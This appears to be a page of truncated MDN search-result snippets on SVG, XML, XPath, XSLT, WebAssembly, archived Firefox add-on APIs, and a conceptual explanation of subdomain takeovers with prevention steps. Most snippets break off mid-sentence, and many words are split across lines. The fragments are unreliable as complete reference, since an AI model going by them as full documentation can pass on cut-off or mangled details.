endered at the initial text position. for an element with a direction property value of rtl (typical for arabic and hebrew), the left side of the text is rendered at the initial text position. for an element with a vertical primary text direction (often typical for asian text), the bottom of the text is rendered at the initial text position. ...
..., the left side of the text is rendered at the initial text position. for an element with a vertical primary text direction (often typical for asian text), the bottom of the text is rendered at the initial text position. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'text-anchor' in that specification. candidate reco
mmendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-anchor' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send...
text-rendering - SVG: Scalable Vector Graphics
o produce the most legible text. geometricprecision this value indicates that the user agent shall emphasize geometric precision over legibility and rendering speed. this option will usually cause the user agent to suspend the use of hinting so that glyph outlines are drawn with comparable geometric precision to the rendering of path data. ...
...sion over legibility and rendering speed. this option will usually cause the user agent to suspend the use of hinting so that glyph outlines are drawn with comparable geometric precision to the rendering of path data. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification. candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification. reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pul...
transform-origin - SVG: Scalable Vector Graphics
>, a <percentage>, or one of the keywords left, center, and right. the other value must be a <length>, a <percentage>, or one of the keywords top, center, and bottom. three-value syntax: the first two values are the same as for the two-value syntax. ...
...as for the two-value syntax. the third value must be a <length>. it always represents the z offset. specifications specification status co
mment css transforms level 1the definition of 'transform-origin' in that specification. ...
type - SVG: Scalable Vector Graphics
e and it has different meaning based on the context in which it's used. for the <animatetransform> element, it defines the type of transformation, whose values change over time. for the <fecolormatrix> element, it indicates the type of matrix operation. the keyword matrix indicates that a full 5x4 matrix of values will be provided. the other keywords represent convenience shortcuts to allow co
mmonly used color operations to be performed without specifying a complete matrix. for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements, it indicates the type of component transfer function. for the <feturbulence> element, it indicates whether the filter primitive should perform a noise or turbulence function. for the <style> and <script> elements, it defines the content type of the el...
... svg 1.1 (2nd edition) for the <fecolormatrix> element categories none value matrix | saturate | huerotate | luminancetoalpha animatable yes normative document svg 1.1 (2nd edition) for the <fefuncr>, <fefuncg>, <fefuncb>, and <fefunca> elements categories none value identity | table | discrete | linear | ga
mma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <content-type> animatable ...
unicode - SVG: Scalable Vector Graphics
ed for a given <glyph>, then the only way to use this glyph is via an <altglyph> reference. ...
...ibute: <glyph> context notes value <string> default value none animatable no <string> this value specifies one or more unicode characters corresponding to a glyph. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode' in that specification. reco
mmendation initial definition ...
units-per-em - SVG: Scalable Vector Graphics
lmost always necessary as nearly every other attribute requires the definition of a design grid. ...
...ribute: <font-face> usage notes value <number> default value 1000 animatable no <number> this value indicates the the number of coordinate units on the em square. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'units-per-em' in that specification. reco
mmendation initial definition ...
<font-face-name> - SVG: Scalable Vector Graphics
the <font-face-name> element points to a locally installed copy of this font, identified by its name. ...
...context categoriesnonepermitted contentempty attributes global attributes core attributes » specific attributes name dom interface this element implements the svgfontfacenameelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-name>' in that specification. reco
mmendation initial definition ...
<font-face-src> - SVG: Scalable Vector Graphics
ont-face-uri>, utilizing remotely defined fonts. ...
...ments, in any order:<font-face-name>, <font-face-uri> attributes global attributes core attributes specific attributes none dom interface this element implements the svgfontfacesrcelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-src>' in that specification. reco
mmendation initial definition ...
<font-face-uri> - SVG: Scalable Vector Graphics
emote definition of the current font. ...
...y order:<font-face-format> attributes global attributes core attributes xlink attributes specific attributes xlink:href dom interface this element implements the svgfontfaceurielement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font-face-uri>' in that specification. reco
mmendation initial definition ...
<foreignObject> - SVG: Scalable Vector Graphics
svg element includes elements from a different xml namespace. in the context of a browser, it is most likely (x)html. html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- co
mmon use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing elit. sed mo...
...ns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<foreignobject>' in that specification. reco
mmendation initial definition ...
<glyphRef> - SVG: Scalable Vector Graphics
h> substitution. ...
...utes » presentation attributes » xlink attributes » class style specific attributes x y dx dy glyphref format xlink:href dom interface this element implements the svgglyphrefelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyphref>' in that specification. reco
mmendation initial definition ...
<hkern> - SVG: Scalable Vector Graphics
<hkern> svg element allows to fine-tweak the horizontal distance between two glyphs. this process is known as kerning. ...
...ntext categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svghkernelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<hkern>' in that specification. reco
mmendation initial definition ...
<image> - SVG: Scalable Vector Graphics
ce <image> implements the svgimageelement interface. ...
...="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<image>' in that specification. candidate reco
mmendation allows omitting height and width scalable vector graphics (svg) 1.1 (second edition)the definition of '<image>' in that specification. reco
mmendation initial definition ...
<mpath> - SVG: Scalable Vector Graphics
d horizontally just above the origin. ...
...e" rotate="auto" > <mpath xlink:href="#path1"/> </animatemotion> </path> </svg> result specifications specification status co
mment svg animations level 2the definition of '<mpath>' in that specification. ...
<script> - SVG: Scalable Vector Graphics
nce svg 2 the url to the script to load. ...
... core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<script>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<script>' in that specification. reco
mmendation initial definition ...
<style> - SVG: Scalable Vector Graphics
switch between alternate style sheets. ...
... core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<style>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<style>' in that specification. reco
mmendation initial definition ...
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
note: for backward compatibility with svg 1.1, <title> elements should be the first child element of their parent. ...
...title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<title>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<title>' in that specification. reco
mmendation initial definition ...
<vkern> - SVG: Scalable Vector Graphics
llows to fine-tweak the vertical distance between two glyphs in top-to-bottom fonts. this process is known as kerning. ...
...ntext categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes u1 g1 u2 g2 k dom interface this element implements the svgvkernelement interface. specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of '<vkern>' in that specification. reco
mmendation initial definition ...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to clip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bars on <svg> elements implementation status unknown basic data types and interfaces change notes do
mmatrix or do
mmatrixreadonly instead of svgmatrix implementation status unknown domrect or domrectreadonly instead of svgrect implementation status unknown dompoint or dompointreadonly instead of svgpoint implementation status unknown members of svgstylable and svglangspace available in svgelement implementation status unknown svggraphicselement instea...
...dded non-scaling-size, non-rotation and fixed-position keywords for vector-effect property not implemented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path co
mmands implementation status unknown z and z path co
mmands to add path coordinate data to previous co
mmand implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and related methods removed from svgpathelement implementation status unknown d attribute as css ...
Getting started - SVG: Scalable Vector Graphics
t and injected into the html dom. with this method, replacement technologies can be implemented for browsers which normally can't process svg. see this dedicated article which deals with the topic in-depth. how svg handles sizes and units will be explained on the next page. svg file types svg files come in two flavors. normal svg files are simple text files containing svg markup. the reco
mmended filename extension for these files is ".svg" (all lowercase). due to the potentially massive size svg files can reach when used for some applications (e.g., geographical applications), the svg specification also allows for gzip-compressed svg files. the reco
mmended filename extension for these files is ".svgz" (all lowercase). unfortunately, it is very problematic to get gzip-compressed svg...
...nd look at the http response headers. if you find that your server is not sending the headers with the values given above, then you should contact your web host. if you have problems convincing them to correctly configure their servers for svg, there may be ways to do it yourself. see the server configuration page on the w3.org for a range of simple solutions. server misconfiguration is a very co
mmon reason for svg failing to load, so make sure you check yours. if your server is not configured to send the correct headers with the svg files it serves, then firefox will most likely show the markup of the files as text or encoded garbage, or even ask the viewer to choose an application to open them. « previousnext » ...
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
me extension with the wrong media type. if either of these things happen, then mozilla can end up with a media type for files that it doesn't recognize, but which the user knows it should. actions that trigger this bug ... possible solutions how you solve this problem depends on whether it's your operating system or your mozilla profile (mimetypes.rdf) that are corrupt. the latter is more co
mmon, so we'll start with that. however, it seems that the former may also cause the latter. one way to check is to create a new profile and restart mozilla using that profile. if svg works with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below. if the new profile doesn't work, clean your os file associations, then your mi...
... with the new profile, then simply delete the new profile and go about cleaning your old profile using the steps in the section below. if the new profile doesn't work, clean your os file associations, then your mimetypes.rdf. create and remove a bogus file association this solution should work for mimetypes.rdf corruption, and requires little technical knowledge. it's adapted from jp fiset's co
mment in bug 303581 which in turn was adapted from jeff schiller's co
mment in bug 303581. 1. try and open a local .svg file using mozilla and when the "opening ..." dialog comes up, select the "open with" radio button and choose any .exe except firefox.exe/mozilla.exe. 2. make sure the "do this automatically for files like this from now on" checkbox is checked. 3. click ok, and when the program you ...
SVG: Scalable Vector Graphics
1999. documentation svg element reference details about each svg element. svg attribute reference details about each svg attribute. svg dom interface reference details about the svg dom api, for interaction with javascript. applying svg effects to html content svg works together with html, css and javascript. use svg to enhance a regular html page or web application. view all... co
mmunity view mozilla forums... mailing list newsgroup rss feed tools svg test suite markup validator more tools... other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an imag...
....org firefox extension (grafox) to add a subset of smil animation support interactive photos manipulation html transformations using svg's foreignobject mapping, charting, games & 3d experiments while a little svg can go a long way to enhanced web content, here are some examples of heavy svg usage. connect 4 jvectormap (interactive maps for data visualization) jointjs (javascript diagra
mming library) d3 ( javascript library for visualizing data with html, svg, and css ) ...
Subdomain takeovers - Web security
e an opportunity for an attacker to take over a subdomain. during provisioning an attacker sets up a virtual host for a subdomain name you bought on the hosting provider, before you get to do it. suppose you control the domain example.com. you want to add a blog at blog.example.com, and you decide to use a hosting provider who maintains a blogging platform. (for "blog", you can substitute "e-co
mmerce platform", "customer service platform", or any other "cloud-based" virtual hosting scenario.) the process you go through might look like this: you register the name "blog.example.com" with a domain registrar. you set up dns records to direct browsers that want to access blog.example.com so that they go to the virtual host. you create a virtual host at the hosting provider. unless the h...
...ve the dns entry that points to the hosting provider, an attacker can now create their own virtual host with that provider, claim your subdomain, and host their own content under that subdomain. how can i prevent them? preventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and dns. depending on the size of the organization, this may require co
mmunication and coordination across multiple departments, which can only increase the likelihood for a vulnerable misconfiguration. define standard processes for provisioning and deprovisioning hosts. do all steps as closely together as possible. start provisioning by claiming the virtual host; create dns records last. start deprovisioning by removing dns records first. create an i...
Using templates and slots - Web Components
t",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <su
mmary> <span> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description">need description</slot></i> </span> </su
mmary> <div class="attributes"> <h4><span>attributes</span></h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> that <template> element has s...
...ight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <su
mmary> <span> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description">need description</slot></i> </span> </su
mmary> <div class="attributes"> <h4><span>attributes</span></h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr>...
XML Index - XML: Extensible Markup Language
this means, unlike other markup languages, xml is not predefined so you must define your own tags. the primary purpose of the language is the sharing of data across different systems, such as the internet. ...
... 1 xml: extensible markup language draft, landing, web, xml the extensible markup language is a strict serialisation of the document object model. 2 xml index index, web, xml found 4 pages: 3 xml introduction beginner, introduction, xml xml is a markup language similar to html. it stands for extensible markup language and is a w3c reco
mmended specification as a general purpose markup language. this means, unlike other markup languages, xml is not predefined so you must define your own tags. the primary purpose of the language is the sharing of data across different systems, such as the internet. 4 xml:base html baseelement, needsspectable, svg, xml:base xml:base is like the html baseelement but can specify th...
XML introduction - XML: Extensible Markup Language
. structure of an xml document this sub-article in process writing... whole structure xml and xml based languages built on tags. xml declaration xml - declaration is not a tag. it is used for the transmission of the meta-data of a document. <?xml version="1.0" encoding="utf-8"?> attributes: version : used version xml in this document. encoding : used encoding in this document. co
mments <!-- co
mment --> "correct" xml (valid and well-formed) Сorrect design rules for an xml document to be correct, the following conditions must be fulfilled: document must be well-formed. document must conform to all xml syntax rules. document must conform to semantic rules, which are usually set in an xml schema or a dtd (document type definition). example <?xml version="1.0" encod...
...document using the xml-stylesheet processing instruction. <?xml-stylesheet type="text/css" href="stylesheet.css"?> there is also another more powerful way to display xml: the extensible stylesheet language transformations (xslt) which can be used to transform xml into other languages such as html. this makes xml incredibly versatile. <?xml-stylesheet type="text/xsl" href="transform.xsl"?> reco
mmendations this article is obviously only a very brief introduction to what xml is, with a few small examples and references to get you started. for more details about xml, you should look around on the web for more in-depth articles. learning the hypertext markup language (html) will help you better understand xml. ...
Introduction to using XPath in JavaScript - XPath
ment.evaluate( xpathexpression, contextnode, namespaceresolver, resulttype, result ); parameters the evaluate function takes a total of five parameters: xpathexpression: a string containing the xpath expression to be evaluated. contextnode: a node in the document against which the xpathexpression should be evaluated, including any and all of its child nodes. the document node is the most co
mmonly used. namespaceresolver: a function that will be passed any namespace prefixes contained within xpathexpression which returns a string representing the namespace uri associated with that prefix. this enables conversion between the prefixes used in the xpath expressions and the possibly different prefixes used in the document. the function can be either: created by using the creatensres...
...ixes are used. note that, if the xpathexpression contains a namespace prefix, this will result in a domexception being thrown with the code namespace_err. a custom user-defined function. see the using a user defined namespace resolver section in the appendix for details. resulttype: a constant that specifies the desired result type to be returned as a result of the evaluation. the most co
mmonly passed constant is xpathresult.any_type which will return the results of the xpath expression as the most natural type. there is a section in the appendix which contains a full list of the available constants. they are explained below in the section "specifying the return type." result: if an existing xpathresult object is specified, it will be reused to return the results. specifying null w...
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
e="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the w3c reco
mmendation and an explanation of the degree of present gecko support. use the {{listsubpages}} macro once the bcd for <xsl:fallback>, <xsl:import>, <xsl:namespace-alias>, <xsl:number>, <xsl:output>, <xsl:stylesheet>, <xsl:text> and <xsl:value-of> is fully migrated. <xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:co
mment><xsl:copy-of><xs...
...key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:call-template> <xsl:choose> <xsl:co
mment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:...
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
the following is an alphabetized and annotated list of the elements, axes, and functions from the w3c's 1.0 reco
mmendation for xslt, as well as from the appropriate sections of the xpath reco
mmendation. development of the xslt processor is ongoing, and this document will be updated as functionality is expanded. ...
...mendation for xslt, as well as from the appropriate sections of the xpath reco
mmendation. development of the xslt processor is ongoing, and this document will be updated as functionality is expanded. ...
XSLT: Extensible Stylesheet Language Transformations
o the xslt processing engine in mozilla 1.2 and up. specifying parameters using processing instructions firefox allows stylesheet parameters to be specified when using the <?xml-stylesheet?> processing instruction. this is done using the <?xslt-param?> pi described in this document. ...
...he basics of xslt concepts, syntax, and progra
mming. xslt tutorial this w3schools tutorial teaches the reader how to use xslt to transform xml documents into other formats, like xhtml. what is xslt? this extensive introduction to xslt and xpath assumes no prior knowledge of the technologies and guides the reader through background, context, structure, concepts and introductory terminology. co
mmon xslt errors this article lists some co
mmon problems using xslt in firefox. xslt 2.0 (new) view all... co
mmunity view mozilla forums... mailing list newsgroup rss feed related topics xml, xpath, xquery ...
Compiling from Rust to WebAssembly - WebAssembly
pay attention to the post-install note about needing cargo's bin directory in your system path. this is added automatically, but you must restart your terminal for it to take effect. wasm-pack to build the package, we need an additional tool, wasm-pack. this helps compile the code to webassembly, as well as produce the right packaging for npm. to download and install it, enter the following co
mmand into your terminal: $ cargo install wasm-pack install node.js we are building an npm package in this tutorial, and so you need to have node.js and npm installed. to get node.js and npm, go to the get npm! page and follow the instructions. when it comes to picking a version, choose any one you'd like; this tutorial isn't version-specific. building our webassembly npm package enough setup;...
...en::prelude::*; #[wasm_bindgen] extern { pub fn alert(s: &str); } #[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("hello, {}!", name)); } this is the contents of our rust project. it has three main parts; let's talk about them in turn. we give a high-level explanation here, and gloss over some details; to learn more about rust, please check the free online book the rust progra
mming language. using wasm-bindgen to co
mmunicate between rust and javascript the first part looks like this: use wasm_bindgen::prelude::*; libraries are called "crates" in rust. get it? cargo ships crates. the third line contains a use co
mmand, which imports code from a library into your code. in this case, we're importing everything in the wasm_bindgen::prelude module. we use these features ...
Compiling an Existing C Module to WebAssembly - WebAssembly
erything that was unnecessary. it seemed to work brilliantly: $ emcc -o3 -s wasm=1 -s extra_exported_runtime_methods='["cwrap"]' \ -i libwebp \ webp.c \ libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c note: this strategy will not work with every c project. many projects rely on autoconf/automake to generate system-specific code before compilation. emscripten provides emconfigure and e
mmake to wrap these co
mmands and inject the appropriate parameters. you can find more in the emscripten documentation. now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </scrip...
...w = new uint8array(module.heap8.buffer, resultpointer, resultsize); const result = new uint8array(resultview); api.free_result(resultpointer); note: new uint8array(somebuffer) will create a new view onto the same memory chunk, while new uint8array(sometypedarray) will copy the data. depending on the size of your image, you might run into an error where wasm can't grow the memory enough to acco
mmodate both the input and the output image: luckily, the solution to this problem is in the error message. you just need to add -s allow_memory_growth=1 to your compilation co
mmand. and there you have it. you have compiled a webp encoder and transcoded a jpeg image to webp. to prove that it worked, turn your result buffer into a blob and use it on an <img> element: const blob = new blob([resul...
WebAssembly
an load webassembly modules into a javascript app and share functionality between the two. this allows you to take advantage of webassembly's performance and power and javascript's expressiveness and flexibility in the same apps, even if you don't know how to write webassembly code. and what's even better is that it is being developed as a web standard via the w3c webassembly working group and co
mmunity group with active participation from all major browser vendors. guides webassembly concepts get started by reading the high-level concepts behind webassembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it. compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a...
...are accessed by an instance. webassembly.compileerror() creates a new webassembly compileerror object. webassembly.linkerror() creates a new webassembly linkerror object. webassembly.runtimeerror() creates a new webassembly runtimeerror object. examples wasmsobel see our webassembly-examples repo for a number of other examples. specifications specification status co
mment webassembly javascript interface working draft initial draft definition of the javascript api. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet explo...
Builder - Archive of obsolete content
the add-on builder tool was retired on april 1, 2014. the add-on builder was a web-based development environment that allowed developers to create add-ons using the sdk apis, but without needing to use the jpm co
mmand line tool. it was retired on april 1, 2014, and the "builder.addons.mozilla.org" domain now redirects to this page. ...
Loading Content Scripts - Archive of obsolete content
n't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and review. the contentscriptwhen option specifies when the content script(s) should be loaded. it takes one of three possible values: "start" loads the scripts i
mmediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready" loads the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires. at this point, content scripts are able to interact with the dom content, but externally-r...
port - Archive of obsolete content
the port object provides message sending and receiving api enabling conversations between a content script and the main add-on code. each end of the conversation has access to a port: the content script via the global self property, and the main add-on code via a worker object associated with the sdk module you've used to attach the content script, such as page-mod or page-worker. for an overview of content scripts, see the main article. port methods emit() the port.emit() function sends a message from one side to the other. ...
Localization - Archive of obsolete content
le. the files: use the .properties format are named "xx-yy.properties", where "xx-yy" is the name of the locale in question contain one entry for each string you want to localize, consisting of an identifier for the string and its translation in that locale, in the format identifier=translation need to use utf-8 without bom encoding lines starting with "#" (after optional whitespace) are co
mments suppose your add-on contains a single localizable string, represented in english as "hello!", and you want to supply us english and french french localizations. you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties fr.properties "en-us.properties" contains this: hello_id= hello! "fr.properties" contains this: hello_id=...
Add-on SDK - Archive of obsolete content
reate the add-ons. the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. tutorials getting started how to install the sdk and use the jpm tool to develop, test, and package add-ons. interact with the browser open web pages, listen for pages loading and list open pages. development techniques learn about co
mmon development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. create user interface components create user interface components such as toolbar buttons, context menus, menu items, and dialogs. modify web pages modify pages matching a url pattern or dynamically modify a particular tab. putting it together walkthrough of the ann...
Bootstrapped extensions - Archive of obsolete content
e this makes creating extensions that add to the application's user interface relatively easy, it means that updating, installing, or disabling an extension requires an application restart. gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduces bootstrapped extensions. these are special extensions that, instead of using overlays to apply their user interface to the application, progra
mmatically insert themselves into the application. this is done using a special script file that's included in the extension that contains functions the browser calls to co
mmand the extension to install, uninstall, start up, and shut down. all the application does is call into this script file; the extension is responsible for adding and removing its user interface and handling any other setup and ...
Boxes - Archive of obsolete content
ndow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="
mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the contents, you should probably add align="st...
Downloading Files - Archive of obsolete content
rd: function(dialogtitle, text, passwordrealm, savepassword, user, pwd) { user.value = hardcodedusername; pwd.value = hardcodedpassword; return true; } }; persist.saveuri(urltosave, null, null, null, "", nsfileinstance, privacy); the above is going to give you errors about missing nsidownloadprogresslistener methods, so you should implement that as well. for example, with empty du
mmy methods if you are not interested about the progress. instead of using qi like above, you can also implement nsiinterfacerequestor and return nsiauthprompt from there, like nsiwebbrowserpersist.progresslistener documentation suggests. downloading images sample function for fetching an image file from a url. // this function is for fetching an image file from a url. // accepts a url and retur...
File I/O - Archive of obsolete content
safefileoutputstream(file) netutil.asynccopy(stream, output, callback); } synchronous checking the existence of a file // |file| is nsifile if (file.exists()) { // ... } note: you should avoid checking the existence of a file, not only because of the synchronous i/o on the main thread this causes. there might be races between different processes and/or threads, e.g., a file could be i
mmediately created or deleted after you check the existence but before you can perform any other actions such as opening the file for reading or writing. reading a file // |file| is nsifile var data = ""; var fstream = components.classes["@mozilla.org/network/file-input-stream;1"]. createinstance(components.interfaces.nsifileinputstream); var cstream = components.classes["@mozilla.o...
Finding window handles - Archive of obsolete content
.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsibasewindow); var nswindowstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var objc = ctypes.open(ctypes.libraryname('objc')); // types let id = ctypes.voidptr_t; let sel = ctypes.voidptr_t; // constants let nil = ctypes.voidptr_t(0); //co
mmon functions let sel_registername = objc.declare('sel_registername', ctypes.default_abi, sel, ctypes.char.ptr); let objc_msgsend = objc.declare('objc_msgsend', ctypes.default_abi, id, id, sel, '...'); /* https://developer.apple.com/library/mac/documentation/cocoa/reference/applicationkit/classes/nsapplication_class/index.html#//apple_ref/occ/instp/nsapplication/orderfront: * [nswindowptr order...
Examples and demos from articles - Archive of obsolete content
sions before 10. for a full compatibility code, see also our crossbrowser possible solution for image preview. determine if an element has been totally scrolled [html] this example shows how to determine whether a user has completely scrolled an element or not. [article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms. this is a co
mmon technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript). .[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews. .[article] pure-css web gallery based on the :checked pseudoclass [zip]...
HTML in XUL for rich tooltips - Archive of obsolete content
dchild(injecthtml); } } window.addeventlistener('load', htmltip.onload, false); in the xul overlay, xmlns:html is used to enable html tags to be used inside the xul. our enhanced xul tooltip is an element that is written ahead of time, and it contains an html div element whose type attribute lowers its privileges to being that content element, although it is an element of chrome. this is reco
mmended for security reasons, especially if remote html is to be inserted. a number of menuitems have a tooltip attribute pointing to the same tooltip. that tooltip is empty now, but we will use the mouseover event to dynamically populate the tooltip (which is about to be shown) with a different message for each menuitem. this is done by calling the onmousetooltip function, which will take the tool...
LookupNamespaceURI - Archive of obsolete content
eturn null; // unknown case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), co
mment_node (8) if (node.parentnode) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...
Preferences - Archive of obsolete content
ebrailledisplay", not just direct children ("typeaheadfind" and "usebrailledisplay"), as you might have expected. using preference observers changes a user makes to your extension's preferences, such as through an options dialog, may not take effect until the browser is restarted (e.g., if you have initialized local variables when the browser loads). you may wish for such changes to be applied i
